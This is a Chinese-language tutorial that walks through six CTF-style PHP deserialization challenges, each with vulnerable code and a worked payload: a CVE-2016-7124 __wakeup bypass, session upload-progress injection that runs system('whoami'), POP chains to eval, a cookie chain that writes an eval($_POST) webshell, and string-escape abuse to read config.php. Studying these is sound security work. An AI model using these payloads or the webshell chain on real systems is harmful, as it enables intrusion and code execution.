点击蓝字关注我们
(23分钟后你将读完本篇文章......)经过了一段时间的刷题,发现自己在反序列化这里的认识还很浅薄,魔鬼训练走一波。大量代码预警!!!
声明:由于传播、利用此文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任,本文仅限于技术研究范围讨论。
Level 0
<?php error_reporting(0);include "flag.php";$KEY = "adan0s";$str = $_GET['str'];if (unserialize($str) === "$KEY"){ echo "$flag";}?>
让反序列化后的$str等于adan0s就可以了,payload:http://test.com/str=s:6:"adan0s;"
Level 1
提示:需要一个CVE
<?php class Ctf{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } }if (!isset($_GET['file'])){ show_source('index.php');}else{ $file=$_GET['file']; echo unserialize($file); } ?>
这里要让$file为flag.php,但是存在__wakeup()方法,每次反序列化的时候都会先调用它,这样我们就无法控制$file了。
CVE-2016-7124可以绕过__wakeup()方法,具体为:
序列化字符串中表示对象属性个数的值大于真实的属性个数
所以payload为:
O:3:"Ctf":1:{S:7:"/00*/00file";s:8:"flag.php";}//原始payloadO:3:"Ctf":2:{S:7:"/00*/00file";s:8:"flag.php";}//最终payload
这样即可绕过__wakeup()的限制。
Level 2
<?php ini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct(){ $this->mdzz = 'phpinfo();'; } function __destruct(){ eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('sessiontest.php'));}?>
在phpinfo页面,我们可以看到这样的信息:
序列化和反序列化所使用的处理器不同,就会导致无法正确序列化。
而在这里:
可以看到开启了session.upload_progress.enabled,这会导致我们可以通过POST方法传入$_SESSION其原理为:
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。
所以我们就构造一个特殊的表单,确保表单里上传一个文件,还有一个与PHP_SESSION_UPLOAD_PROGRESS同名的参数,这样就可以把数据传入$_SESSION.
先从一个例子开始看:
我们可以得到以下响应:
array(1) { ["upload_progress_123"]=>array(5) { ["start_time"]=>int(1584503278) ["content_length"]=>int(299) ["bytes_processed"]=>int(299) ["done"]=>bool(true) ["files"]=>array(1) {[0]=>array(7) { ["field_name"]=>string(4) "file" ["name"]=>string(6) "adan0s" ["tmp_name"]=>string(22) "C:\Windows\php9F5C.tmp" ["error"]=>int(0) ["done"]=>bool(true) ["start_time"]=>int(1584503278) ["bytes_processed"]=>int(4) } } } }
这里我们可以看到,filename是可控的,那么就在这个点进行攻击。
接下来就是构造payload了,使用如下脚本:
<?php ini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct(){ $this->mdzz = 'echo system("whoami");'; } function __destruct(){ eval($this->mdzz); }}$c = new OowoO();echo serialize($c);?>
还要注意两点:
需要在payload前加上|,这是因为处理器差异。当session.serialize_handler=php,序列化结果为name|s:6:"adan0s";而当session.serialize_handler=php_serialize时,序列化结果为a:1:{s:4:"name";s:6:"adan0s";},所以需要加上|,让处理器把|之前的内容认为是键名,之后的当做序列化内容。
要将payload里的"转义,避免产生冲突。
最后结果如图:
我们做到了。
Level 3
<?php class Adan0s { protected $test; function __construct() { $this->test = new normal(); } function __destruct() { $this->test->action(); }}class normal { function action() { echo "hello"; }}class evil { private $data; function action() { eval($this->data); }}unserialize($_GET['d']);?>
这道题实际上是入门级构造POP链,我们看到在evil类里有action()方法可以执行代码,现在来追溯,可以发现normal类也有一个action()方法,而在Adan0s类的__construct()方法里实例化了normal类,这样就可以构造POP链了。
对于有些PHP不够熟练的同学,可能看不懂$this->test->action();这种写法,一开始我也看不懂,后面发现很简单。$this是指向当前的实例化对象的,也就是test,这个test不一定是所在类的实例化,还可以是别的类的实例化,全看你给不给它赋值了。后面的->action()就是调用方法了。
所以,我们可以写出payload生成脚本:
<?php class Adan0s { protected $test; function __construct() { $this->test = new evil(); }}class evil { private $data = 'phpinfo();';}$a = new Adan0s();echo urlencode(serialize($a));?>
此类生成payload脚本的原则就是剔除与数据链条无关的类和方法,只保留最关键的部分。比如此处,我们只用留下这些,其他的都由原先的文件帮你完成。
Level 4
复杂的来了:
<?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); }};class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; }};class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND); }};class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); }};class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); } function __toString() { return "" . $this->name . " by " . $this->group; } function log() { $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n"); } function get_name() { return $this->name; }}class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } function __toString() { return "
"
. $this->song->__toString() . "
"
. str_replace("\n", "
", $this->lyrics) . "\n"; } function __destruct() { $this->song->log(); } function shortForm() { return "
. $this->song->get_name() . ""; } function name_is($name) { return $this->song->get_name() === $name; }};class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } }};class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); }};class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); } function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; } function __destruct() { $this->conn->close(); $this->conn = NULL; }};
很复杂是吧,慢慢来。
首先我们需要找一个参数可控的反序列化点,就在这里:
class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } }};
在cookie处,我们可以控制传入的数据。
下面要做的是寻找能帮我们达成目标的地方,比如执行代码、写入文件等。
很容易地,就可以看到这里:
class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->filename = str_replace("..", "__", str_replace("/", "_", $filename)); $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); //写入shell file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND); }};
通过这个方法,我们可以写入一个shell.
多点一线,已经搞清楚了首尾两处,剩下的就是将他们串起来。
我个人习惯在这时候找各种魔术方法,Logger类里就有:
class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); }};
log()方法里出现了writeLog($txt),有戏,现在串通了靠近尾部的一段,继续看哪里可以链接到这里。
很快,你就能找到这里:
class Lyrics { protected $lyrics; protected $song; function __construct($lyrics, $song) { $this->song = $song; $this->lyrics = $lyrics; } . . . function __destruct() { $this->song->log(); }};
Lyrics类里有__destruct()方法也使用了log()方法,好像链条已经完整了。
其实还有一点,在LogWriter_File类里使用了LogFileFormat类的format()方法,在这个方法里又用了OutputFilter类的filter()方法,还是得带上他们玩。
梳理一下整个链条:
我们通过cookie传入序列化字符串,内容为实例化一个Lyrics类,并将它的$song属性赋值为一个Logger对象,再将Logger对象的$logwriter属性赋值为一个LogWriter_File对象,
这个对象还要经过其他两个类。
生成脚本为:
<?php $sh = array(new OutputFilter('//','<?php eval(\$_POST["adan0s"])'));//将空白替换为shell内容$obj1 = new LogFileFormat($sh,'\n');$obj2 = new LogWriter_File('shell.php',$obj1);$obj3 = new Logger($obj2);$obj = new Lyrics('',$obj3);echo base64_encode(serialize($obj));?>
最后将其放入cookie,请求一次即可。
Level 5
最后一题,坚持住。
//profile.php<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));?>
//update.php<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile'; } else {?>
//class.php<?php require('config.php');class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; }}class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); #\ \\ $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; }}session_start();$user = new user();$user->connect($config);
flag在config.php里,我们要做的就是读取这个文件。
在profile.php里,有读取文件的地方:
$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
可以看到最后的$photo使用了file_get_contents(),而且$profile是被反序列化了,所以肯定就是这里了。
再看update.php的这里:
$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));
这是数据传入的地方,传入后由update_profile()方法进行更新。
再继续看class.php,user类继承了mysql类,我们主要关注这里:
public function filter($string) { $escape = array('\'', '\\\\'); #\ \\ $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
可以看到,在update_profile()里使用了这个方法进行过滤,其规则为替换关键字,防止SQL注入。
我们要利用这点,进行反序列化字符串逃逸。在存入数据库之前,是需要进行序列化处理的,如果你的字符串里带了关键字,就会被替换,如下:
a:1:{s:4:"test";s:6:"select";} => a:1:{s:4:"test";s:6:"hacker";}
但是如果你的关键字是where,就会出现意外状况:
a:1:{s:4:"test";s:5:"where";} => a:1:{s:4:"test";s:5:"hacker";}
where是5位长度,但是替换后的hacker为6位,就会导致出错。
PHP在进行序列化相关操作时,执行的是这样一个原则:以前面的数字长度为准,即这样的语句也是可以成功的:
//长度错误,失败a:2:{s:4:"tool";s:5:"hacker";s:6:"adan0s";s:6:"baipao";} //成功a:2:{s:4:"tool";s:5:"hacke";s:6:"adan0s";s:6:"baipao";}";s:6:"adan0s";s:6:"baipao";}
看出来区别了吗?前面的只要符合语法和长度,后面的就直接被忽略了。
这就是世界上最好的语言啦。
现在我们利用这个特性还有替换的长度差异,开始构造payload.
输入这样的数据:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} //34个where
经过序列化后应该是这样:
{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}
204个字长是包括我们后面的";}s:5:"photo";s:10:"config.php";},所以序列化不会出问题。
但是经过替换之后,34个where变成了34个hacker,总共多出34个字长:
{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";i:1;s:5:"world";}
光34个hacker就够204个字长了,等于把后面的";i:1;s:5:"world";}直接“挤”了出去,也就是丢弃掉了后面的,因为符合语法,长度也没问题,所以在后面反序列化的时候不会出错。
好了,我们现在构造好了payload,最后一步就是传入数据了。
但是还有一个拦路虎,在update.php里:
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
这里对传入的数据进行了检查,最轻的规则是关于nickname的,但是还限制了长度。
长度是可以绕过的,具体可以看我的这篇文章第5条:CTF中的一些小技巧
即我们最后传递nickname[],在内容处填上我们的payload即可成功读取。
结语
经过这几个级别的训练,相信你已经对PHP反序列化漏洞有了较为清晰的认识,那么去分析现实的漏洞吧,0day